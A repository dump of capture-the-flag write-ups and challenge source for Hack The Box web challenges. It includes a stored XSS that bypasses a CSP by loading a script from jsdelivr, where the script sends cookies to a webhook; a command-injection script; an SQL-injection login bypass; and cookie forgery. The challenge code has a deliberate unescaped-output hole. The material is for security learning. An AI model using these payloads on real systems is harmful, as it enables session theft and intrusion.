14 | const AuthMiddleware = require('../middleware/AuthMiddleware'); 15 | const bot = require('../bot'); 16 | 17 | let db; 18 | 19 | const response = data => ({ message: data }); 20 | 21 | router.get('/', (req, res) => { 22 | return res.render('index.html'); 23 | }); 24 | 25 | router.post('/api/submit', (req, res) => { 26 | const { halloween_name, email, costume_type, trick_or_treat } = req.body; 27 | 28 | if (halloween_name && email && costume_type && trick_or_treat) { 29 | 30 | return db.party_request_add(halloween_name, email, costume_type, trick_or_treat) 31 | .then(() => { 32 | res.send(response('Your request will be reviewed by our team!')); 33 | 34 | bot.visit(); 35 | }) 36 | .catch(() => res.send(response('Something Went Wrong!'))); 37 | } 38 | 39 | return res.status(401).send(response('Please fill out all the required fields!')); 40 | }); 41 | 42 | router.get('/admin', AuthMiddleware, (req, res) => { 43 | if (req.user.user_role !== 'admin') { 44 | return res.status(401).send(response('Unautorized!')); 45 | } 46 | 47 | return db.get_party_requests() 48 | .then((data) => { 49 | res.render('admin.html', { requests: data }); 50 | }); 51 | }); 52 | 53 | router.get('/admin/delete_all', AuthMiddleware, (req, res) => { 54 | if (req.user.user_role !== 'admin') { 55 | return res.status(401).send(response('Unautorized!')); 56 | } 57 | 58 | return db.remove_requests() 59 | .then(() => res.send(response('All records are deleted!'))); 60 | }) 61 | 62 | module.exports = database => { 63 | db = database; 64 | return router; 65 | }; 66 | ``` 67 | 68 | And this is what the web application looks like. 69 | 70 | ![cps-2](https://user-images.githubusercontent.com/87711310/211354800-c5d19cf0-0a2c-4dcc-846e-a7f671d671e1.png) 71 | 72 | We can submit the details on the web page and it issues the following HTTP request. 73 | 74 | ```BurpSuite 75 | POST /api/submit HTTP/1.1 76 | Host: 167.71.138.188:32102 77 | Content-Length: 190 78 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 79 | Content-Type: application/json 80 | Accept: */* 81 | Origin: http://167.71.138.188:32102 82 | Referer: http://167.71.138.188:32102/ 83 | Accept-Encoding: gzip, deflate 84 | Accept-Language: en-US,en;q=0.9 85 | Connection: close 86 | 87 | { 88 | "halloween_name": "test", 89 | "email": "test@test.com", 90 | "costume_type": "monster", 91 | "trick_or_treat": "tricks" 92 | } 93 | 94 | ``` 95 | 96 | Once the request is submitted, we get the following message. 97 | ``` 98 | Your request will be reviewed by our team! 99 | ``` 100 | 101 | So it seems like, there's a `bot` running in the background which would visit the `/admin` route and view our submitted data. The `/admin` endpoint pulls all the submitted requests from the database and then renders them in the `admin.html` template. 102 | 103 | ```javascript 104 | router.get('/admin', AuthMiddleware, (req, res) => { 105 | if (req.user.user_role !== 'admin') { 106 | return res.status(401).send(response('Unautorized!')); 107 | } 108 | 109 | return db.get_party_requests() 110 | .then((data) => { 111 | res.render('admin.html', { requests: data }); 112 | }); 113 | }); 114 | ``` 115 | 116 | However, in `admin.html`, we see a problem. 117 | 118 | ![cps-3](https://user-images.githubusercontent.com/87711310/211361076-d4ba1cf9-fefb-4902-bdc0-baccb0b03606.png) 119 | 120 | When it outputs the `halloween_name` input parameter, it marks it as safe. Which means that it would not escape it to prevent `Cross-Site scripting` attacks. 121 | 122 | So, now we have a stored `Cross-Site scripting` vulnerability, and a bot would view it with the permissions of an `admin` user. Let's see what this bot is and how it works. 123 | 124 | ![cps-4](https://user-images.githubusercontent.com/87711310/211361436-11d06367-eb9d-438a-8613-551d15b06e32.png) 125 | 126 | We see that the bot authenticates as an administrator by setting an `admin JWT token` in the cookie. And the payload of this JWT token has the `flag`. Then it visits the endpoint `/admin` to view all the submitted requests and then it deletes them all by visiting the `/admin/delete_all` endpoint. 127 | 128 | All we need to do is steal the cookies of the bot user by exploiting the stored `Cross-Site scripting` vulnerability to get the flag. This is fairly easy. Or is it? 129 | 130 | Reviewing the `index.js` file I found one catch. The application sets a strict `Content-Security-Policy` header. 131 | 132 | ```javascript 133 | app.use(function (req, res, next) { 134 | res.setHeader( 135 | "Content-Security-Policy", 136 | "script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'" 137 | ); 138 | next(); 139 | }); 140 | ``` 141 | 142 | This can be very troublesome. Any browser visiting this web application would look at the `script-src` directive of the CSP header and decide which JavaScript is safe to load and which is not. For example, any inline injected JavaScript code would not get executed because there's no `inline` parameter in the `script-src` directive. It won't load any JavaScript hosted on the attacker's domain either. 143 | 144 | The only allowed parameters in the `script-src` directive are self and `https://cdn.jsdelivr.net`. The self parameter means that the JavaScript `files hosted under the same domain as of the application` are safe to load. `The https://cdn.jsdelivr.net` parameter means that any JavaScript files hosted on `https://cdn.jsdelivr.net` are also safe to load. 145 | 146 | The problem with this policy is that literally anyone can host `JavaScript` files on `https://cdn.jsdelivr.net`. To host your JavaScript files on `https://cdn.jsdelivr.net`, simply create a public GitHub repository and host your JavaScript files in there. Then you can format the `https://cdn.jsdelivr.net` in a way that it would dynamically pull the JavaScript file from your GitHub repository. The format of the `https://cdn.jsdelivr.net` should be as follows: 147 | 148 | ``` 149 | https://cdn.jsdelivr.net/gh//@master/.js 150 | ``` 151 | 152 | In my case, I created a [public GitHub repository](https://github.com/darshannn10/cursed-web-party-payload/blob/main/xss-poc.js) and hosted a file xss-poc.js in there. So for me, this is what the URL looks like: 153 | 154 | ``` 155 | https://cdn.jsdelivr.net/gh/darshannn10/cursed-web-party-payload@master/xss-poc.js 156 | ``` 157 | 158 | This `xss.poc` gets the cookies and submits them to my [webhook.site](https://webhook.site/). 159 | ```javascript 160 | var xhttp = new XMLHttpRequest(); 161 | xhttp.open('GET', 'https://webhook.site/70c3e906-3fe0-46de-95f9-045b725a9d6b/?' + document.cookie, true); 162 | xhttp.send(); 163 | ``` 164 | 165 | Next, I inject the following payload in the `halloween_name` parameter in the `/api/submit` request which first closes the div tag and then add our script from the github. 166 | 167 | ``` 168 | 169 | ``` 170 | 171 | ![cwp](https://user-images.githubusercontent.com/87711310/213444155-6edc459e-4b0b-4394-a001-decf3e92c7fb.png) 172 | 173 | After I sent the request, I immediately got the query strings on my webhook client which contained cookie values. 174 | 175 | ![cwp-3](https://user-images.githubusercontent.com/87711310/213444145-f7c837ff-223f-42df-8940-19b9c51a844d.png) 176 | 177 | Decoding the admin JWT, we get the flag. 178 | ![cwp-4](https://user-images.githubusercontent.com/87711310/213444151-86ca4abb-61f1-42e5-ad13-0bf3db28ab72.png) 179 | 180 | -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/web_cursed_party/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:current-buster-slim 2 | 3 | # Install packages 4 | RUN apt-get update \ 5 | && apt-get install -y wget supervisor gnupg \ 6 | && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \ 7 | && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \ 8 | && apt-get update \ 9 | && apt-get install -y google-chrome-stable libxss1 libxshmfence-dev \ 10 | --no-install-recommends \ 11 | && rm -rf /var/lib/apt/lists/* 12 | 13 | # Setup app 14 | RUN mkdir -p /app 15 | 16 | # Add application 17 | WORKDIR /app 18 | COPY challenge . 19 | 20 | # Add Flag 21 | COPY flag.txt /flag.txt 22 | 23 | # Install dependencies 24 | RUN yarn 25 | 26 | # Setup superivsord 27 | COPY config/supervisord.conf /etc/supervisord.conf 28 | 29 | # Expose the port node-js is reachable on 30 | EXPOSE 1337 31 | 32 | # Start the node-js application 33 | CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"] 34 | -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/web_cursed_party/build-docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker rm -f web_cursed_party 3 | docker build -t web_cursed_party . 4 | docker run --name=web_cursed_party --rm -p1337:1337 -it web_cursed_party -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/web_cursed_party/challenge/bot.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const puppeteer = require('puppeteer'); 3 | const JWTHelper = require('./helpers/JWTHelper'); 4 | const flag = fs.readFileSync('/flag.txt', 'utf8'); 5 | 6 | const browser_options = { 7 | headless: true, 8 | args: [ 9 | '--no-sandbox', 10 | '--disable-background-networking', 11 | '--disable-default-apps', 12 | '--disable-extensions', 13 | '--disable-gpu', 14 | '--disable-sync', 15 | '--disable-translate', 16 | '--hide-scrollbars', 17 | '--metrics-recording-only', 18 | '--mute-audio', 19 | '--no-first-run', 20 | '--safebrowsing-disable-auto-update', 21 | '--js-flags=--noexpose_wasm,--jitless' 22 | ] 23 | }; 24 | 25 | const visit = async () => { 26 | try { 27 | const browser = await puppeteer.launch(browser_options); 28 | let context = await browser.createIncognitoBrowserContext(); 29 | let page = await context.newPage(); 30 | 31 | let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag }); 32 | await page.setCookie({ 33 | name: 'session', 34 | value: token, 35 | domain: '127.0.0.1:1337' 36 | }); 37 | 38 | await page.goto('http://127.0.0.1:1337/admin', { 39 | waitUntil: 'networkidle2', 40 | timeout: 5000 41 | }); 42 | 43 | await page.goto('http://127.0.0.1:1337/admin/delete_all', { 44 | waitUntil: 'networkidle2', 45 | timeout: 5000 46 | }); 47 | 48 | setTimeout(() => { 49 | browser.close(); 50 | }, 5000); 51 | 52 | } catch(e) { 53 | console.log(e); 54 | } 55 | }; 56 | 57 | module.exports = { visit }; -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/web_cursed_party/challenge/database.js: -------------------------------------------------------------------------------- 1 | const sqlite = require('sqlite-async'); 2 | 3 | class Database { 4 | constructor(db_file) { 5 | this.db_file = db_file; 6 | this.db = undefined; 7 | } 8 | 9 | async connect() { 10 | this.db = await sqlite.open(this.db_file); 11 | } 12 | 13 | async migrate() { 14 | return this.db.exec(` 15 | DROP TABLE IF EXISTS party_requests; 16 | 17 | CREATE TABLE party_requests( 18 | id INTEGER PRIMARY KEY AUTOINCREMENT, 19 | halloween_name VARCHAR(255) NOT NULL, 20 | email VARCHAR(255) NOT NULL, 21 | costume_type VARCHAR(255) NOT NULL, 22 | trick_or_treat VARCHAR(20) NOT NULL 23 | ) 24 | `); 25 | } 26 | 27 | async party_request_add(halloween_name, email, costume_type, trick_or_treat) { 28 | return new Promise(async (resolve, reject) => { 29 | try { 30 | let stmt = await this.db.prepare('INSERT INTO party_requests (halloween_name, email, costume_type, trick_or_treat) VALUES (?, ?, ?, ?)'); 31 | resolve((await stmt.run(halloween_name, email, costume_type, trick_or_treat))); 32 | } catch(e) { 33 | reject(e); 34 | } 35 | }); 36 | } 37 | 38 | async get_party_requests(){ 39 | return new Promise(async (resolve, reject) => { 40 | try { 41 | let stmt = await this.db.prepare('SELECT * FROM party_requests'); 42 | resolve(await stmt.all()); 43 | } catch(e) { 44 | reject(e); 45 | } 46 | }); 47 | } 48 | 49 | async remove_requests(){ 50 | return new Promise(async (resolve, reject) => { 51 | try { 52 | let stmt = await this.db.prepare('DELETE FROM party_requests'); 53 | resolve(await stmt.run()); 54 | } catch(e) { 55 | 56 | } 57 | }) 58 | } 59 | 60 | } 61 | 62 | module.exports = Database; -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/web_cursed_party/challenge/helpers/JWTHelper.js: -------------------------------------------------------------------------------- 1 | const jwt = require('jsonwebtoken'); 2 | const crypto = require('crypto'); 3 | const APP_SECRET = crypto.randomBytes(69).toString('hex'); 4 | 5 | module.exports = { 6 | sign(data) { 7 | data = Object.assign(data); 8 | return (jwt.sign(data, APP_SECRET, { algorithm:'HS256' })) 9 | }, 10 | async verify(token) { 11 | return (jwt.verify(token, APP_SECRET, { algorithm:'HS256' })); 12 | } 13 | } -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/web_cursed_party/challenge/index.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const app = express(); 3 | const cookieParser = require('cookie-parser'); 4 | const bodyParser = require('body-parser'); 5 | const nunjucks = require('nunjucks'); 6 | const routes = require('./routes'); 7 | const Database = require('./database'); 8 | 9 | const db = new Database('party.db'); 10 | 11 | app.use(bodyParser.urlencoded({ extended: false })); 12 | app.use(express.json()); 13 | app.use(cookieParser()); 14 | 15 | app.use(function (req, res, next) { 16 | res.setHeader( 17 | "Content-Security-Policy", 18 | "script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'" 19 | ); 20 | next(); 21 | }); 22 | 23 | 24 | nunjucks.configure('views', { 25 | autoescape: true, 26 | express: app 27 | }); 28 | 29 | app.set('views', './views'); 30 | app.use('/static', express.static('./static')); 31 | 32 | app.use(routes(db)); 33 | 34 | app.all('*', (req, res) => { 35 | return res.status(404).send({ 36 | message: '404 page not found' 37 | }); 38 | }); 39 | 40 | app.use(function (err, req, res, next) { 41 | res.status(500).json({ message: 'Something went wrong!' }); 42 | }); 43 | 44 | (async () => { 45 | await db.connect(); 46 | await db.migrate(); 47 | app.listen(1337, '0.0.0.0', () => console.log('Listening on port 1337')); 48 | })(); -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/web_cursed_party/challenge/middleware/AuthMiddleware.js: -------------------------------------------------------------------------------- 1 | 2 | const JWTHelper = require('../helpers/JWTHelper'); 3 | 4 | module.exports = async (req, res, next) => { 5 | try { 6 | if (req.cookies.session === undefined) { 7 | if(!req.is('application/json')) return res.redirect('/'); 8 | return res.status(401).json({ status: 'unauthorized', message: 'Authentication required!' }); 9 | } 10 | return JWTHelper.verify(req.cookies.session) 11 | .then(userData => { 12 | req.user = userData; 13 | next(); 14 | }) 15 | .catch(() => { 16 | res.redirect('/logout'); 17 | }); 18 | } catch(e) { 19 | console.log(e); 20 | return res.redirect('/logout'); 21 | } 22 | } -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/web_cursed_party/challenge/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "web_cursed_party", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1", 8 | "start": "node index.js" 9 | }, 10 | "keywords": [], 11 | "authors": ["Xclow3n", "Rayhan0x01", "Maklaris"], 12 | "license": "ISC", 13 | "dependencies": { 14 | "body-parser": "^1.20.1", 15 | "cookie-parser": "^1.4.6", 16 | "express": "^4.18.2", 17 | "jsonwebtoken": "^8.5.1", 18 | "nunjucks": "^3.2.3", 19 | "puppeteer": "^18.2.1", 20 | "sqlite-async": "1.1.2" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/web_cursed_party/challenge/routes/index.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const router = express.Router({ caseSensitive: true }); 3 | const AuthMiddleware = require('../middleware/AuthMiddleware'); 4 | const bot = require('../bot'); 5 | 6 | let db; 7 | 8 | const response = data => ({ message: data }); 9 | 10 | router.get('/', (req, res) => { 11 | return res.render('index.html'); 12 | }); 13 | 14 | router.post('/api/submit', (req, res) => { 15 | const { halloween_name, email, costume_type, trick_or_treat } = req.body; 16 | 17 | if (halloween_name && email && costume_type && trick_or_treat) { 18 | 19 | return db.party_request_add(halloween_name, email, costume_type, trick_or_treat) 20 | .then(() => { 21 | res.send(response('Your request will be reviewed by our team!')); 22 | 23 | bot.visit(); 24 | }) 25 | .catch(() => res.send(response('Something Went Wrong!'))); 26 | } 27 | 28 | return res.status(401).send(response('Please fill out all the required fields!')); 29 | }); 30 | 31 | router.get('/admin', AuthMiddleware, (req, res) => { 32 | if (req.user.user_role !== 'admin') { 33 | return res.status(401).send(response('Unautorized!')); 34 | } 35 | 36 | return db.get_party_requests() 37 | .then((data) => { 38 | res.render('admin.html', { requests: data }); 39 | }); 40 | }); 41 | 42 | router.get('/admin/delete_all', AuthMiddleware, (req, res) => { 43 | if (req.user.user_role !== 'admin') { 44 | return res.status(401).send(response('Unautorized!')); 45 | } 46 | 47 | return db.remove_requests() 48 | .then(() => res.send(response('All records are deleted!'))); 49 | }) 50 | 51 | module.exports = database => { 52 | db = database; 53 | return router; 54 | }; -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/web_cursed_party/challenge/static/js/login.js: -------------------------------------------------------------------------------- 1 | const $ = document.querySelector.bind(document); 2 | 3 | const submit_request = () => { 4 | halloween_name = $('#halloween_name').value; 5 | email = $('#email').value; 6 | costume_type = $('#costume_type').value; 7 | trick_or_treat = $('#tricks').checked ? 'tricks' : 'treats'; 8 | 9 | fetch('/api/submit', { 10 | method: 'POST', 11 | headers: { 12 | 'Content-Type': 'application/json' 13 | }, 14 | body: JSON.stringify({ 15 | halloween_name, 16 | email, 17 | costume_type, 18 | trick_or_treat 19 | }) 20 | }) 21 | .then((res) => res.json()) 22 | .then((data) => { 23 | $('#message').innerText = data.message; 24 | 25 | setTimeout(()=>{ 26 | $('#message').innerText = ''; 27 | },3000) 28 | }) 29 | 30 | } 31 | 32 | $('#form').addEventListener('submit', (event) => { 33 | event.preventDefault(); 34 | 35 | submit_request(); 36 | }) -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/web_cursed_party/challenge/views/admin.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Admin panel 5 | 6 | 7 | 8 |
9 | {% for request in requests %} 10 |
11 |
Halloween Name : {{ request.halloween_name | safe }}
12 |
13 |

Email Address : {{ request.email }}

14 |

Costume Type : {{ request.costume_type }}

15 |

Prefers tricks or treat : {{ request.trick_or_treat }}

16 | 17 | 18 | 19 |
20 |
21 | {% endfor %} 22 |
23 | 24 | 25 | -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/web_cursed_party/challenge/views/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Halloween Party 7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |

RSVP

63 |

Hallo

64 |

ween

65 |

Party

66 |
67 |
68 |
69 | 73 | 77 |
78 | Details 79 | 94 | 107 |
108 | 112 | 115 | 116 | 119 |
120 | 121 | 122 | 123 | 124 | 125 | 126 | -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/web_cursed_party/config/supervisord.conf: -------------------------------------------------------------------------------- 1 | [supervisord] 2 | user=root 3 | nodaemon=true 4 | logfile=/dev/null 5 | logfile_maxbytes=0 6 | pidfile=/run/supervisord.pid 7 | 8 | [program:node] 9 | directory=/app 10 | command=npm start 11 | autostart=true 12 | stdout_logfile=/dev/stdout 13 | stdout_logfile_maxbytes=0 14 | stderr_logfile=/dev/stderr 15 | stderr_logfile_maxbytes=0 -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/4. Cursed Secret Party/web_cursed_party/flag.txt: -------------------------------------------------------------------------------- 1 | HTB{f4k3_fl4g_f0r_t3st1ng} -------------------------------------------------------------------------------- /Tracks/HackTheBoo CTF 2022 Track/Readme.md: -------------------------------------------------------------------------------- 1 | ## ABOUT TRACK 2 | 3 | The challenges showcased in HackTheBoo CTF 2022. 4 | -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/1. Looking Glass/Readme.md: -------------------------------------------------------------------------------- 1 | # CHALLENGE DESCRIPTION 2 | We've built the most secure networking tool in the market, come and check it out! 3 | 4 | # Analysis 5 | When we start the instance, we are met with an options menu: 6 | ![lg-1](https://user-images.githubusercontent.com/87711310/211148012-9d2e82a3-00b5-428a-99a3-b3c849ff1af7.png) 7 | 8 | It appears as if we can input the IP, which is then pinged. Let's imagine for a second how this could be implemented on the server side. A common trap developers can fall into is doing something like: 9 | ```python 10 | system("ping -c 4 " + ip); 11 | ``` 12 | 13 | Essentially, we're passing the parameters to bash. This means we could, theoretically, insert a ; character into the ip variable, and everything behind it would be interpreted as a seperate command, e.g.: 14 | ```python 15 | system("ping -c 4 178.62.0.100; ls"); 16 | ``` 17 | 18 | Here, ls would be run as a separate command. Let's see if it works! 19 | 20 | # Exploration 21 | Let's try it by simply inputting ; ls to the end of the IP and submitting: 22 | ```python 23 | PING 178.62.0.100 (178.62.0.100): 56 data bytes 24 | --- 178.62.0.100 ping statistics --- 25 | 4 packets transmitted, 0 packets received, 100% packet loss 26 | index.php 27 | ``` 28 | 29 | Look - as well as the ping command, we get index.php, which is the result of the ls command! 30 | 31 | There doesn't appear to be a flag, so we'll try ; ls / to read the root directory next: 32 | ```python 33 | PING 178.62.0.100 (178.62.0.100): 56 data bytes 34 | --- 178.62.0.100 ping statistics --- 35 | 4 packets transmitted, 0 packets received, 100% packet loss 36 | bin 37 | boot 38 | dev 39 | entrypoint.sh 40 | etc 41 | flag_2viTb 42 | home 43 | lib 44 | lib64 45 | media 46 | mnt 47 | opt 48 | proc 49 | root 50 | run 51 | sbin 52 | srv 53 | sys 54 | tmp 55 | usr 56 | var 57 | www 58 | ``` 59 | 60 | There's a `flag_2viTb` file! Now we'll inject `; cat /flag_2viTb` to read the flag: 61 | ```python 62 | PING 178.62.0.100 (178.62.0.100): 56 data bytes 63 | --- 178.62.0.100 ping statistics --- 64 | 4 packets transmitted, 0 packets received, 100% packet loss 65 | HTB{REDACTED} 66 | ``` 67 | And boom, we've got the flag!!! 68 | --- 69 | 70 | ## Automation 71 | Because I prefer a command-line interface, I originally created a simple script to inject parameters for me: 72 | ```python 73 | from requests import post 74 | 75 | cmd = input('>> ') 76 | 77 | data = {'test': 'ping', 'ip_address': f'178.62.0.100; {cmd}', 'submit': 'Test'} 78 | r = post('http://178.62.0.100:30134/', data=data) 79 | 80 | data = r.text 81 | data = data.split('packet loss\n')[-1] 82 | data = data.split('')[0] 83 | 84 | print(data.strip()) 85 | ``` 86 | 87 | This simply inputs the command as `cmd`, sets the `POST` parameters, and (really messily) parses the response to return just the data. 88 | 89 | ```python 90 | $ python3 exploit.py 91 | >> cat /flag_2viTb 92 | HTB{REDACTED} 93 | ``` 94 | --- 95 | 96 | ## Checking the Source 97 | We can inject cat `index.php` to see what exactly was happening, and we immediately see the following lines: 98 | ```php 99 | function runTest($test, $ip_address) 100 | { 101 | if ($test === 'ping') 102 | { 103 | system("ping -c4 ${ip_address}"); 104 | } 105 | if ($test === 'traceroute') 106 | { 107 | system("traceroute ${ip_address}"); 108 | } 109 | } 110 | ``` 111 | 112 | As we guessed, it passed in the input `without sanitising` it to remove potential injection. 113 | -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/2. Sanitize/Readme.md: -------------------------------------------------------------------------------- 1 | # DESCRIPTION 2 | Can you escape the query context and log in as admin at my super secure login page? 3 | 4 | ## Analysis 5 | First we're encountered with a signin form: 6 | ![s1](https://user-images.githubusercontent.com/87711310/211148772-a1dab8d4-e6b0-4260-b1c2-97898273548b.png) 7 | 8 | Let's try some default creds, admin and admin. 9 | 10 | Below, the query run on the database is shown; this seems like a clear example of `SQL injection`. 11 | 12 | ![s2](https://user-images.githubusercontent.com/87711310/211148768-0e3c93a2-cb13-40fa-ae90-15e6c1bf5370.png) 13 | 14 | # Exploitation 15 | Ultimately, we want to try and log in as a user. To do this, we can try to inject our own SQL. 16 | 17 | We know the payload looks like the following: 18 | 19 | ```sql 20 | select * from users where username = '' AND password = ''; 21 | ``` 22 | 23 | We want to trick this into always returning a user, and to do this we'll inject a clause that's `always` true, such as 1=1. 24 | 25 | ```sql 26 | admin' OR 1=1 27 | ``` 28 | 29 | That will make the query equal to the following: 30 | 31 | ```sql 32 | select * from users where username = 'admin' OR 1=1 AND password = 'password'; 33 | ``` 34 | So here, it'll compare the username to admin, and if it's not the same the check will `still` pass because 1=1. However, there's a small issue with the password still being wrong. To bypass this check, we'll make everything after our injection a `comment` so that the databse ignores it: 35 | 36 | ```sql 37 | admin' OR 1=1;-- 38 | ``` 39 | 40 | That would make the query be: 41 | ```sql 42 | select * from users where username = 'admin' OR 1=1;-- AND password = 'password'; 43 | ``` 44 | 45 | As you can see, the username will always be correct due to the 1=1 and the password check is commented out! Let's try it. 46 | 47 | We still have to input a password because some javascript checks to make sure it's there, but we can fill that with any rubbish. And we get the flag! 48 | 49 | ![s3](https://user-images.githubusercontent.com/87711310/211148770-ef2959c5-f805-443c-b7a2-0c7b36fc832c.png) 50 | -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/3. baby auth/Readme.md: -------------------------------------------------------------------------------- 1 | # CHALLENGE DESCRIPTION 2 | Who needs session integrity these days? 3 | 4 | ## Analysis 5 | We are first greeted by a login page. Let's, once again, try `admin` with password `admin`: 6 | ``` 7 | Invalid username or password 8 | ``` 9 | Looks like we'll have to create an account - let's try those credentials. 10 | ``` 11 | this user already exists 12 | ``` 13 | This is great, because now we know we need a user called admin. Let's create another user - I'll use username and password yes, because I doubt that'll be used. 14 | 15 | ![b-a-1](https://user-images.githubusercontent.com/87711310/211149124-7d9ace19-1a87-414c-bf0a-4f906fa2546c.png) 16 | 17 | We're redirected to the login, which makes it seem like it worked. Let's log in with the credentials we just created: 18 | ![b-a-2](https://user-images.githubusercontent.com/87711310/211149125-1d0f5931-5bbf-40ba-aa63-dedf727058ec.png) 19 | 20 | Whoops, guess we're `not an admin`! 21 | When it comes to accounts, one very common thing to check is __cookies__. Cookies allow, among other things, for users to [authenticate without logging in every time](https://stackoverflow.com/questions/17769011/how-does-cookie-based-authentication-work). To check cookies, we can right-click and hit __Inspect Element__ and then move to the __Console__ tab and type `document.cookie`. 22 | 23 | ![b-a-3](https://user-images.githubusercontent.com/87711310/211149127-86e4caa7-bba4-43f4-8ce1-0feb38cb29aa.png) 24 | 25 | Well, we have a cookie called __PHPSESSID__ and the value `eyJ1c2VybmFtZSI6InllcyJ9`. Cookies are often base64 encoded, so we'll use a tool called [CyberChef](https://gchq.github.io/CyberChef/) to decode it. 26 | 27 | ![b-a-4](https://user-images.githubusercontent.com/87711310/211149128-147d8b2a-5d98-46dd-bb61-2b3261a68dd7.png) 28 | 29 | Once we decode the `base64`, we see that the contents are simply 30 | ``` 31 | {"username":"yes"} 32 | ``` 33 | 34 | ## Exploitation 35 | So, the website knows our identity due to our cookie - but what's to stop us from forging a cookie? Since we control the cookies we send, we can just edit them. Let's create a `fake cookie`! 36 | 37 | ![b-a-5](https://user-images.githubusercontent.com/87711310/211149129-d37a3402-555d-4ebe-9760-c1d6ac354cb8.png) 38 | 39 | Note that we're URL encoding it as it ends in the special character =, which usually has to be URL encoded in cookies. Let's change our cookie to `eyJ1c2VybmFtZSI6ImFkbWluIn0%3D`. 40 | 41 | ![b-a-6](https://user-images.githubusercontent.com/87711310/211149123-53cccd7e-a18d-4f52-92f2-f5867642bf67.png) 42 | 43 | Ignore the warning, but we've now set document.cookie. Refresh the page to let it send the cookies again. 44 | And there you go - we successfully authenticated as an admin! 45 | -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/4. baby nginxatsu/Readme.md: -------------------------------------------------------------------------------- 1 | # Challenge Description 2 | Can you find a way to login as the administrator of the website and free nginxatsu? 3 | 4 | # Analysis 5 | When connecting to the given , a simple login form is presented: 6 | 7 | ![Login Page](https://user-images.githubusercontent.com/87711310/211150233-62e9fcdf-7900-4237-b13b-b8000381850c.png) 8 | 9 | The first things I tried was to supply `default` credentials and to test the web application for SQL injection vulnerabilities, but nothing worked. 10 | 11 | Then, I created an account for a random user and I logged in the web application using the chosen username and password. 12 | 13 | Once logged in, the web app presented me a form that allows the user to generate automatically an [nginx](https://www.nginx.com/resources/glossary/nginx/) config file. 14 | 15 | ![nginx-config](https://user-images.githubusercontent.com/87711310/211150234-11855693-ca96-4ed2-8762-5cfca1445038.png) 16 | 17 | After submitting the form, an icon (representing the file just created) appeared at the bottom of the web page. 18 | 19 | ![nginx-3](https://user-images.githubusercontent.com/87711310/211150235-dc1bdd98-9191-452f-8dd0-2f7b9bbe5af1.png) 20 | 21 | By clicking on the icon was possible to have a look at the content of the config file. At first glance, the content of the file was pretty standard, except for a comment tha caught my attention. 22 | 23 | ![nginx-4](https://user-images.githubusercontent.com/87711310/211150237-a040a3d0-b945-4f91-a8ab-1264b59397e6.png) 24 | 25 | The comment revealed me the existence of a directory “/storage” inside the web server. Therefore, I tried to verify immediately the existence of that directory. 26 | 27 | By navigating to the page: 28 | ``` 29 | http://:/storage 30 | ``` 31 | 32 | it was possible to access a list of various nginx config files, but the most interesting thing listed was a file that seemed a compressed database backup. 33 | 34 | ![nginx-5](https://user-images.githubusercontent.com/87711310/211150238-36f2b365-c645-42d2-8be7-6e761ab1a97e.png) 35 | 36 | Once downloaded (by using [wget](https://www.gnu.org/software/wget/)) and extracted, it was clear that the file was a sqlite database backup. In order to see the content of the database backup I used 